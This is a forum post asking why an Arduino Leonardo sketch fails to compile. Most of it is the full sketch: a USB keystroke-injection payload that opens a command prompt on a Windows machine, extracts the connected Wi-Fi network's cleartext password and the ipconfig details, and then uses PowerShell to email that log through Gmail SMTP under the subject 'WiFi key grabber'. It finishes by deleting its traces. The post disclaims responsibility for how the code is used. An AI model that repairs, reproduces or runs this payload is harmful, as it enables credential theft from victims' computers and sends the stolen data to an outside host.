Hi, I'm trying a code for Arduino Leonardo, but when i compile, arduino tells me: exit status 1
Error compiling for board Arduino Leonardo.
This is the code:
#include <paensy.h>
void setup() {
// Configure the delay that everything else scales off of.
SetDelay(200);
// Configure the delay that the Morse code uses.
SetMorseDelay(250);
// Perform an initial delay to give the USB time to prepare.
PerformInitDelay();
Keyboard.set_modifier(MODIFIERKEY_GUI);
Keyboard.set_key1(KEY_D);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
RunCommand("cmd");
delay(500);
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.set_key1(KEY_SPACE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(100);
PressKey(KEY_M, 1);
delay(500);
PressKey(KEY_DOWN, 100);
PressKey(KEY_ENTER, 1);
Keyboard.print("cd ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("%USERPROFILE%");
Keyboard.set_key1(KEY_BACKSLASH);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("Desktop");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print(" & for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("tokens=2 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print(" %A in ('netsh wlan show interface ^| findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("SSID");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print(" ^| findstr /v ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("BSSID");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("') do set A=%A");
PressKey(KEY_ENTER, 1);
Keyboard.print("netsh wlan show profiles %A% key=clear | findstr /c:");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("Network type");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" /c:");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Authentication");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" /c:");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Key Content");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" | findstr /v ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("broadcast");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" | findstr /v ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Radio");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(">>A.txt");
PressKey(KEY_ENTER, 1);
Keyboard.print("for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("tokens=3 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" %A in ('findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Network type");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" A.txt') do set B=%A");
PressKey(KEY_ENTER, 1);
Keyboard.print("for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("tokens=2 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" %A in ('findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Authentication");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" A.txt') do set C=%A");
PressKey(KEY_ENTER, 1);
Keyboard.print("for /f ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("tokens=3 delims=: ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" %A in ('findstr ");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print("Key Content");
Keyboard.set_modifier(MODIFIERKEY_SHIFT);
Keyboard.set_key1(KEY_QUOTE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.print(" A.txt') do set D=%A");
PressKey(KEY_ENTER, 1);
Keyboard.print("del A.txt");
PressKey(KEY_ENTER, 1);
Keyboard.print("echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt");
PressKey(KEY_ENTER, 1);
Keyboard.print("ipconfig /all>>Log.txt");
PressKey(KEY_ENTER, 1);
Keyboard.print("powershell");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo.EnableSsl = $true");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('@gmail.com', '')");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.From = ''@gmail.com'");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.To.Add(''@gmail.com')");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.Subject = 'WiFi key grabber'");
PressKey(KEY_ENTER, 1);
Keyboard.print("$ReportEmail.Body = (Get-Content Log.txt | out-string)");
PressKey(KEY_ENTER, 1);
Keyboard.print("$SMTPInfo.Send($ReportEmail)");
PressKey(KEY_ENTER, 1);
delay(5000);
Keyboard.print("exit");
PressKey(KEY_ENTER, 1);
delay(3000);
Keyboard.print("del Log.txt & exit");
PressKey(KEY_ENTER, 1);
}
I am not responsible for the use of this code.
Thanks